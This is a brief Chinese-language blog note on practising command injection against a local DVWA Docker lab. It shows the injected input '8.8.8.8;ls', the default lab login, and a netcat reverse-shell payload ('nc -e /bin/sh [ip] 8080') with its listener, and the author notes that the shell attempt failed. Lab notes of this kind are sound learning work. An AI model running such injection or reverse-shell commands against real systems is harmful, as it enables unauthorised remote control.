Contents

Command Injection 小記

command injection

平常沒什麼看過
今天程式做弱點掃描發現這個問題
程式call web service 掃出弱點
等等web service 怎麼掃出 command injection ,改不會是誤判了
本片重點在 command injection

裡面談到 reverse shell 也滿有趣的,本篇用 dvwa 試跑一次

安裝 dvwa

參考:

這邊使用 docker 安裝 dvwa

1
docker run --rm -it -p 80:80 vulnerables/web-dvwa

用在那一台(docker),使用 localhost 才連的到
使用http://localhost/setup.php

按下去Create / Reset database 按鈕,會自動跳回登入頁面

Username: admin
Password: password

Command injection

進到左邊的Command injection
輸入欄位8.8.8.8;ls做查詢,這樣就能看到 ls 也能被執行

reverse shell (失敗)

docker 測試環境沒有 netcat

docker 安裝

1
2
3
4
docker exec -it 63 bash
# 63 試 container ID
apt update
apt install -y netcat 

得知測試環境 docker ip

1
docker inspect 63 | grep IP 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
            "LinkLocalIPv6Address": "",
            "LinkLocalIPv6PrefixLen": 0,
            "SecondaryIPAddresses": null,
            "SecondaryIPv6Addresses": null,
            "GlobalIPv6Address": "",
            "GlobalIPv6PrefixLen": 0,
            "IPAddress": "172.17.0.2",
            "IPPrefixLen": 16,
            "IPv6Gateway": "",
                    "IPAMConfig": null,
                    "IPAddress": "172.17.0.2",
                    "IPPrefixLen": 16,
                    "IPv6Gateway": "",
                    "GlobalIPv6Address": "",
                    "GlobalIPv6PrefixLen": 0,

這邊我們看到 docker IP 為 172.17.0.2
不過這邊需要讓 docker 連我的本機 IP ,如: 192.168.1.1

nc 環境在docker 環境無法使用…
有空再研究,睡覺

在Kali執行nc -vv -l -p 8080
在網頁執行nc -e /bin/sh [ip] 8080
執行指令

有空來測試Vagrant box mmckinst/dvwa - Vagrant Cloud